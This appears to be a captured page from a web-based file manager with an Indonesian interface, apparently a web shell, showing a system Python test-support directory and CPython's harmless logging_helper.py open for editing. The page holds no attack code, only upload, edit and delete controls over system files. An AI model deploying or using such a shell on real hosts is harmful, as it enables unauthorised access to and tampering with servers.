PATH: //opt/alt/python311/lib64/python3.11/test/support
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 __init__.py
↓
X
📁 __pycache__/
X
📄 bytecode_helper.py
↓
X
📄 hashlib_helper.py
↓
X
📄 import_helper.py
↓
X
📄 interpreters.py
↓
X
📄 logging_helper.py
↓
X
📄 os_helper.py
↓
X
📄 pty_helper.py
↓
X
📄 script_helper.py
↓
X
📄 socket_helper.py
↓
X
📄 threading_helper.py
↓
X
📄 warnings_helper.py
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: logging_helper.py
import logging.handlers class TestHandler(logging.handlers.BufferingHandler): def __init__(self, matcher): # BufferingHandler takes a "capacity" argument # so as to know when to flush. As we're overriding # shouldFlush anyway, we can set a capacity of zero. # You can call flush() manually to clear out the # buffer. logging.handlers.BufferingHandler.__init__(self, 0) self.matcher = matcher def shouldFlush(self): return False def emit(self, record): self.format(record) self.buffer.append(record.__dict__) def matches(self, **kwargs): """ Look for a saved dict whose keys/values match the supplied arguments. """ result = False for d in self.buffer: if self.matcher.matches(d, **kwargs): result = True break return result
SIMPAN PERUBAHAN